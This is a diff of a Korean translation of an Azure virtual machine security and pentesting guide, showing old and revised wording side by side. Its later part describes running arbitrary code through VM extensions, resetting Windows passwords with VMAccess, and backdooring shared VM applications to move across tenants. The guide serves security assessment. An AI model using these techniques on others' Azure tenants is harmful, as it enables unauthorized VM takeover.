Azure 가상 머신(VMs)은 유연하고, 필요에 따라 사용할 수 있는 **클라우드 기반 서버로 Windows 또는 Linux 운영 체제를 실행할 수 있습니다.** 물리적 하드웨어를 관리하지 않고도 애플리케이션과 작업 부하를 배포할 수 있습니다. Azure VMs는 특정 요구 사항을 충족하고 가상 네트워크, 스토리지 및 보안 도구와 같은 Azure 서비스와 통합하기 위해 다양한 CPU, 메모리 및 스토리지 옵션으로 구성할 수 있습니다.
|
||||
Azure 가상 머신(VMs)은 유연하고, 필요에 따라 사용할 수 있는 **클라우드 기반 서버로, Windows 또는 Linux 운영 체제를 실행할 수 있습니다.** 이를 통해 물리적 하드웨어를 관리하지 않고도 애플리케이션과 작업 부하를 배포할 수 있습니다. Azure VMs는 특정 요구 사항을 충족하고 가상 네트워크, 스토리지 및 보안 도구와 같은 Azure 서비스와 통합하기 위해 다양한 CPU, 메모리 및 스토리지 옵션으로 구성할 수 있습니다.
|
||||
|
||||
### 보안 구성
|
||||
|
||||
- **가용성 영역**: 가용성 영역은 특정 Azure 지역 내에서 물리적으로 분리된 데이터 센터의 독립적인 그룹으로, 여러 영역이 지역 중단이나 재해의 영향을 받을 위험을 최소화합니다.
|
||||
- **가용성 영역**: 가용성 영역은 특정 Azure 지역 내에서 물리적으로 분리된 데이터 센터의 독립적인 그룹으로, 지역적인 중단이나 재해로 인해 여러 영역이 영향을 받는 위험을 최소화합니다.
|
||||
- **보안 유형**:
|
||||
- **표준 보안**: 특정 구성이 필요하지 않은 기본 보안 유형입니다.
|
||||
- **신뢰할 수 있는 시작**: 이 보안 유형은 Secure Boot 및 Virtual Trusted Platform Module(vTPM)을 사용하여 부트 키트 및 커널 수준의 맬웨어에 대한 보호를 강화합니다.
|
||||
- **기밀 VMs**: 신뢰할 수 있는 시작 위에 VM, 하이퍼바이저 및 호스트 관리 간의 하드웨어 기반 격리를 제공하고, 디스크 암호화를 개선하며 [**더 많은 정보**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**를 제공합니다.**
|
||||
- **신뢰할 수 있는 시작**: 이 보안 유형은 Secure Boot 및 Virtual Trusted Platform Module(vTPM)을 사용하여 부트킷 및 커널 수준의 맬웨어에 대한 보호를 강화합니다.
|
||||
- **기밀 VM**: 신뢰할 수 있는 시작 위에 VM, 하이퍼바이저 및 호스트 관리 간의 하드웨어 기반 격리를 제공하고, 디스크 암호화를 개선하며 [**더 많은 정보**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**를 제공합니다.**
|
||||
- **인증**: 기본적으로 새로운 **SSH 키가 생성**되지만, 공개 키를 사용하거나 이전 키를 사용할 수 있으며 기본 사용자 이름은 **azureuser**입니다. **비밀번호**를 사용하도록 구성할 수도 있습니다.
|
||||
- **VM 디스크 암호화:** 디스크는 기본적으로 플랫폼 관리 키를 사용하여 정지 상태에서 암호화됩니다.
|
||||
- **호스트에서 암호화**를 활성화할 수도 있으며, 이 경우 데이터는 스토리지 서비스에 전송되기 전에 호스트에서 암호화되어 호스트와 스토리지 서비스 간의 종단 간 암호화를 보장합니다 ([**문서**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **호스트에서 암호화**를 활성화할 수도 있으며, 이 경우 데이터는 스토리지 서비스로 전송되기 전에 호스트에서 암호화되어 호스트와 스토리지 서비스 간의 종단 간 암호화를 보장합니다 ([**문서**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **NIC 네트워크 보안 그룹**:
|
||||
- **없음**: 기본적으로 모든 포트를 엽니다.
|
||||
- **기본**: HTTP(80), HTTPS(443), SSH(22), RDP(3389)와 같은 수신 포트를 쉽게 열 수 있습니다.
|
||||
@@ -40,17 +40,17 @@ Azure 가상 머신(VMs)은 유연하고, 필요에 따라 사용할 수 있는
|
||||
- VmAvailabilityMetric이 1 미만
|
||||
- **상태 모니터**: 기본적으로 포트 80에서 HTTP 프로토콜을 확인합니다.
|
||||
- **잠금**: VM을 잠가 읽기 전용(**ReadOnly** 잠금)으로 설정하거나 읽고 업데이트할 수 있지만 삭제할 수 없는(**CanNotDelete** 잠금) 상태로 설정할 수 있습니다.
|
||||
- 대부분의 VM 관련 리소스는 **잠금을 지원**합니다. 예: 디스크, 스냅샷...
|
||||
- 대부분의 VM 관련 리소스는 **디스크, 스냅샷** 등과 같은 잠금을 **지원합니다.**
|
||||
- 잠금은 **리소스 그룹 및 구독 수준**에서도 적용할 수 있습니다.
|
||||
|
||||
## 디스크 및 스냅샷
|
||||
|
||||
- **2개 이상의 VM에 디스크를 연결할 수 있도록 활성화할 수 있습니다.**
|
||||
- 기본적으로 모든 디스크는 **암호화**되어 있습니다.
|
||||
- 기본적으로 모든 디스크는 **플랫폼 키로 암호화**됩니다.
|
||||
- 스냅샷에서도 동일합니다.
|
||||
- 기본적으로 모든 네트워크에서 **디스크를 공유**할 수 있지만 특정 **개인 접근**으로 **제한**하거나 **공개 및 개인 접근을 완전히 비활성화**할 수 있습니다.
|
||||
- 기본적으로 모든 네트워크에서 **디스크를 공유할 수 있지만**, 특정 **개인 접근**으로 **제한**하거나 **공개 및 개인 접근을 완전히 비활성화**할 수 있습니다.
|
||||
- 스냅샷에서도 동일합니다.
|
||||
- **디스크를 내보내기 위해 SAS URI**(최대 60일)를 **생성**할 수 있으며, 인증이 필요하도록 구성할 수 있습니다.
|
||||
- **디스크를 내보내기 위해 SAS URI**(최대 60일)를 **생성할 수 있으며**, 인증이 필요하도록 구성할 수 있습니다.
|
||||
- 스냅샷에서도 동일합니다.
|
||||
|
||||
{{#tabs}}
|
||||
@@ -76,8 +76,8 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## 이미지, 갤러리 이미지 및 복원 지점
|
||||
|
||||
**VM 이미지**는 새로운 가상 머신(VM)을 **생성하는 데 필요한 운영 체제, 애플리케이션 설정 및 파일 시스템**을 포함하는 템플릿입니다. 이미지와 디스크 스냅샷의 차이점은 디스크 스냅샷이 주로 백업 또는 문제 해결을 위해 사용되는 단일 관리 디스크의 읽기 전용 시점 복사본인 반면, 이미지는 **여러 디스크를 포함할 수 있으며 새로운 VM을 생성하기 위한 템플릿으로 설계되었습니다**.\
|
||||
이미지는 Azure의 **이미지 섹션** 또는 **Azure 컴퓨트 갤러리** 내에서 관리할 수 있으며, 이를 통해 **버전**을 생성하고 이미지를 크로스 테넌트로 **공유**하거나 공개할 수 있습니다.
|
||||
**VM 이미지**는 운영 체제, 애플리케이션 설정 및 **새 가상 머신(VM)**을 생성하는 데 필요한 파일 시스템을 포함하는 템플릿입니다. 이미지와 디스크 스냅샷의 차이점은 디스크 스냅샷이 주로 백업 또는 문제 해결을 위해 사용되는 단일 관리 디스크의 읽기 전용 시점 복사본인 반면, 이미지는 **여러 디스크를 포함할 수 있으며 새로운 VM을 생성하기 위한 템플릿으로 사용되도록 설계되었습니다**.\
|
||||
이미지는 Azure의 **이미지 섹션** 또는 **Azure 컴퓨트 갤러리** 내에서 관리할 수 있으며, 이를 통해 **버전**을 생성하고 이미지를 크로스 테넌트로 공유하거나 공개할 수 있습니다.
|
||||
|
||||
**복원 지점**은 VM 구성과 **시점** 애플리케이션 일관성 **스냅샷**을 저장합니다. 이는 VM과 관련이 있으며, 특정 시점에서 VM을 복원할 수 있도록 하는 것이 목적입니다.
|
||||
|
||||
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
[**문서**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview)에서: Site Recovery는 중단 동안 비즈니스 앱과 워크로드가 계속 실행되도록 하여 비즈니스 연속성을 보장하는 데 도움을 줍니다. Site Recovery는 **워크로드를 복제**하여 기본 사이트에서 보조 위치로 물리적 및 가상 머신(VM)에서 실행됩니다. 기본 사이트에서 중단이 발생하면 보조 위치로 전환하고 그곳에서 앱에 접근합니다. 기본 위치가 다시 실행되면 다시 전환할 수 있습니다.
|
||||
[**문서**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview)에서: Site Recovery는 중단 동안 비즈니스 앱과 워크로드가 계속 실행되도록 하여 비즈니스 연속성을 보장하는 데 도움을 줍니다. Site Recovery는 기본 사이트에서 보조 위치로 물리적 및 가상 머신(VM)에서 실행되는 **워크로드를 복제**합니다. 기본 사이트에서 중단이 발생하면 보조 위치로 전환하고 그곳에서 앱에 접근합니다. 기본 위치가 다시 실행되면 다시 전환할 수 있습니다.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion은 Azure Portal 또는 점프 박스를 통해 가상 머신(VM)에 대한 **원격 데스크톱 프로토콜(RDP)** 및 **보안 셸(SSH)** 액세스를 안전하고 원활하게 제공합니다. VM에서 **공용 IP 주소의 필요성을 제거**합니다.
|
||||
Azure Bastion은 Azure Portal 또는 점프 박스를 통해 가상 머신(VM)에 대한 안전하고 원활한 **원격 데스크톱 프로토콜(RDP)** 및 **보안 셸(SSH)** 액세스를 가능하게 합니다. VM에서 **공용 IP 주소의 필요성을 제거**합니다.
|
||||
|
||||
Bastion은 작동해야 하는 VNet에 `/26` 넷마스크를 가진 **`AzureBastionSubnet`**이라는 서브넷을 배포합니다. 그런 다음, **브라우저를 통해 내부 VM에 연결**할 수 있도록 하여 VM의 포트를 인터넷에 노출하지 않습니다. 또한 **점프 호스트**로도 작동할 수 있습니다.
|
||||
Bastion은 작동해야 하는 VNet에 `/26` 넷마스크를 가진 **`AzureBastionSubnet`**이라는 서브넷을 배포합니다. 그런 다음, **브라우저를 통해 내부 VM에 연결**할 수 있도록 하여 VM의 포트를 인터넷에 노출하지 않도록 합니다. 또한 **점프 호스트**로도 작동할 수 있습니다.
|
||||
|
||||
구독 내 모든 Azure Bastion 호스트를 나열하고 이를 통해 VM에 연결하려면 다음 명령을 사용할 수 있습니다:
|
||||
|
||||
@@ -189,9 +189,9 @@ Get-AzBastion
|
||||
|
||||
## 메타데이터
|
||||
|
||||
Azure 인스턴스 메타데이터 서비스(IMDS)는 **실행 중인 가상 머신 인스턴스에 대한 정보를 제공**하여 관리 및 구성에 도움을 줍니다. SKU, 스토리지, 네트워크 구성 및 예정된 유지 관리 이벤트에 대한 정보와 같은 세부 정보를 제공하며, **비라우터 IP 주소 169.254.169.254**에서 사용할 수 있는 REST API를 통해 접근할 수 있으며, 이는 VM 내에서만 접근 가능합니다. VM과 IMDS 간의 통신은 호스트 내에서 이루어져 안전한 접근을 보장합니다. IMDS를 쿼리할 때, VM 내의 HTTP 클라이언트는 적절한 통신을 보장하기 위해 웹 프록시를 우회해야 합니다.
|
||||
Azure 인스턴스 메타데이터 서비스(IMDS)는 **실행 중인 가상 머신 인스턴스에 대한 정보를 제공**하여 관리 및 구성에 도움을 줍니다. SKU, 스토리지, 네트워크 구성 및 예정된 유지 관리 이벤트에 대한 정보와 같은 세부 정보를 제공하며, **비라우터 IP 주소 169.254.169.254에서 사용할 수 있는 REST API**를 통해 접근할 수 있으며, 이는 VM 내에서만 접근 가능합니다. VM과 IMDS 간의 통신은 호스트 내에서 이루어져 안전한 접근을 보장합니다. IMDS를 쿼리할 때, VM 내의 HTTP 클라이언트는 적절한 통신을 보장하기 위해 웹 프록시를 우회해야 합니다.
|
||||
|
||||
또한, 메타데이터 엔드포인트에 연락하기 위해서는 HTTP 요청에 **`Metadata: true`** 헤더가 포함되어야 하며, **`X-Forwarded-For`** 헤더는 포함되어서는 안 됩니다.
|
||||
또한, 메타데이터 엔드포인트에 연락하기 위해 HTTP 요청에는 **`Metadata: true`** 헤더가 있어야 하며 **`X-Forwarded-For`** 헤더는 없어야 합니다.
|
||||
|
||||
어떻게 열거하는지 확인하세요:
|
||||
|
||||
@@ -427,13 +427,13 @@ Get-AzStorageAccount
|
||||
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
```
|
||||
## VM에서 코드 실행
|
||||
## 코드 실행 in VMs
|
||||
|
||||
### VM 확장
|
||||
|
||||
Azure VM 확장은 Azure 가상 머신(VM)에서 **배포 후 구성** 및 자동화 작업을 제공하는 작은 애플리케이션입니다.
|
||||
|
||||
이것은 **VM 내부에서 임의의 코드를 실행**할 수 있게 해줍니다.
|
||||
이것은 **VM 내에서 임의의 코드를 실행**할 수 있게 합니다.
|
||||
|
||||
필요한 권한은 **`Microsoft.Compute/virtualMachines/extensions/write`**입니다.
|
||||
|
||||
@@ -539,7 +539,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>VMAccess 확장</summary>
|
||||
|
||||
이 확장은 Windows VM 내의 사용자 비밀번호를 수정(또는 존재하지 않을 경우 생성)할 수 있게 해줍니다.
|
||||
이 확장은 Windows VM 내의 사용자 비밀번호를 수정하거나(존재하지 않는 경우 생성) 할 수 있게 해줍니다.
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -549,7 +549,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
이것은 Azure Windows VM의 구성을 관리하기 위해 PowerShell DSC를 사용하는 Microsoft의 **VM 확장**입니다. 따라서 이 확장을 통해 Windows VM에서 **임의의 명령을 실행**하는 데 사용할 수 있습니다:
|
||||
```powershell
|
||||
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>하이브리드 런북 워커</summary>
|
||||
|
||||
이것은 자동화 계정에서 VM에서 런북을 실행할 수 있도록 하는 VM 확장입니다. 자세한 내용은 [Automation Accounts service](../az-automation-account/)를 확인하세요.
|
||||
이것은 자동화 계정에서 VM에서 런북을 실행할 수 있도록 하는 VM 확장입니다. 자세한 내용은 [Automation Accounts service](../az-automation-account/index.html)를 확인하세요.
|
||||
|
||||
</details>
|
||||
|
||||
@@ -622,12 +622,12 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
|
||||
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
|
||||
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
|
||||
|
||||
[여기](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)에서 새로운 애플리케이션을 설치하는 방법을 확인하세요.
|
||||
새로운 애플리케이션 설치 방법은 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)에서 확인하세요.
|
||||
|
||||
> [!CAUTION]
|
||||
> **개별 앱과 갤러리를 다른 구독이나 테넌트와 공유할 수 있습니다.** 이는 공격자가 애플리케이션에 백도어를 설치하고 다른 구독 및 테넌트로 이동할 수 있게 할 수 있기 때문에 매우 흥미롭습니다.
|
||||
> **개별 앱과 갤러리를 다른 구독이나 테넌트와 공유하는 것이 가능합니다**. 이는 공격자가 애플리케이션에 백도어를 설치하고 다른 구독 및 테넌트로 이동할 수 있게 할 수 있기 때문에 매우 흥미롭습니다.
|
||||
|
||||
하지만 **vm 앱을 위한 "마켓플레이스"는 없습니다**. 확장 프로그램을 위한 마켓플레이스와는 다릅니다.
|
||||
하지만 **vm 앱을 위한 "마켓플레이스"는 존재하지 않습니다**. 확장 프로그램을 위한 마켓플레이스와는 다릅니다.
|
||||
|
||||
필요한 권한은 다음과 같습니다:
|
||||
|
||||
@@ -721,17 +721,17 @@ az vm application set \
|
||||
|
||||
### 사용자 데이터
|
||||
|
||||
이것은 **지속적인 데이터**로, 메타데이터 엔드포인트에서 언제든지 검색할 수 있습니다. Azure에서 사용자 데이터는 AWS 및 GCP와 다르다는 점에 유의하세요. **여기에 스크립트를 배치하면 기본적으로 실행되지 않습니다**.
|
||||
이것은 **지속적인 데이터**로, 언제든지 메타데이터 엔드포인트에서 검색할 수 있습니다. Azure에서 사용자 데이터는 AWS 및 GCP와 다르다는 점에 유의하세요. **여기에 스크립트를 배치하면 기본적으로 실행되지 않습니다.**
|
||||
|
||||
### 사용자 정의 데이터
|
||||
|
||||
예상 경로에 저장될 데이터를 VM에 전달하는 것이 가능합니다:
|
||||
|
||||
- **Windows**에서는 사용자 정의 데이터가 `%SYSTEMDRIVE%\AzureData\CustomData.bin`에 이진 파일로 저장되며, 처리되지 않습니다.
|
||||
- **Linux**에서는 `/var/lib/waagent/ovf-env.xml`에 저장되었고, 현재는 `/var/lib/waagent/CustomData/ovf-env.xml`에 저장됩니다.
|
||||
- **Windows**에서는 사용자 정의 데이터가 `%SYSTEMDRIVE%\AzureData\CustomData.bin`에 이진 파일로 배치되며 처리되지 않습니다.
|
||||
- **Linux**에서는 `/var/lib/waagent/ovf-env.xml`에 저장되었고 현재는 `/var/lib/waagent/CustomData/ovf-env.xml`에 저장됩니다.
|
||||
- **Linux 에이전트**: 기본적으로 사용자 정의 데이터를 처리하지 않으며, 데이터가 활성화된 사용자 정의 이미지가 필요합니다.
|
||||
- **cloud-init:** 기본적으로 사용자 정의 데이터를 처리하며, 이 데이터는 [**여러 형식**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)일 수 있습니다. 사용자 정의 데이터에 스크립트만 보내면 쉽게 스크립트를 실행할 수 있습니다.
|
||||
- Ubuntu와 Debian이 여기에 넣은 스크립트를 실행하는 것을 시도했습니다.
|
||||
- **cloud-init:** 기본적으로 사용자 정의 데이터를 처리하며 이 데이터는 [**여러 형식**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)일 수 있습니다. 사용자 정의 데이터에 스크립트만 보내면 쉽게 스크립트를 실행할 수 있습니다.
|
||||
- Ubuntu와 Debian이 여기에 넣은 스크립트를 실행하는 것을 확인했습니다.
|
||||
- 이 스크립트가 실행되기 위해 사용자 데이터를 활성화할 필요도 없습니다.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
Reference in New Issue
Block a user